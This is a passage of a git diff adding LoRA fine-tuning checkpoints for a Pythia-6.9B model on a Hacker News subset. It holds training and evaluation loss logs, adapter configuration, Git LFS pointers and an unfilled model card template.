1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.66778247184384e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..431e99c82579aeba4cc467e840773f20bba6fb40 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ba5635ffa027e239fa5c397c2452520beb694498f039576970d2e74fe8d9f0ce +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..68a44282460889453832e6ca83d4b77265dd8d8f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9e55a20db17412e18ad5b8d3fe0ce119a08da4c566f9ab49a383c9aba24e8193 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3d041c10a3af80c2be01488b87e7c23a107acab4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:224b98cd2a3813f8f156af229101dde99ced2e24294f3d7ad7b1538fdc49c27c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e35866f32db88c57fbcc281885df929786abae39 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:db64dfcaaa6d2770fdeb8c6c250f6efda7e6b2cbc236d50bf153703fcb63ac50 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..b6145fba5586554e40535d532bf176896d5c8b7c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json @@ -0,0 +1,123 @@ +{ + "best_metric": 2.476881504058838, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60", + "epoch": 0.8, + "eval_steps": 10, + "global_step": 60, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9831643191705600.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..7113aec068d9e4038cace4d235a285e0bd309a16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:93576f5e5f0ea4a5bed29a4ab495df01f94fa44b253a2cc5e4c899532798063b +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..7a6185662f43c0b5a4740bfc643ba8c5103b3f58 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bf71cfdbe4bdaa8aed99944c4134b0bf6da8e1ddac988a1509c6bbb0022d61b4 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ef40b259bc3233779099c3b8651c2fe0a9d07fa5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9bbc772ea5a37ab482a5fa0d13a2014584215ee3da6246ff6fe50fb8dafbfb8e +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..b706276d2ff18ccd83310c61d87eb2ed9fc15f80 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:efa99c3d03a71b7b58bf8c6b52c8cd63b4d6a19d88cbdc8dfd20580671d183cb +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..c2ade3fc2f042cca126e7e4a74a681b2133cda88 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json @@ -0,0 +1,933 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.0, + "eval_steps": 10, + "global_step": 600, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 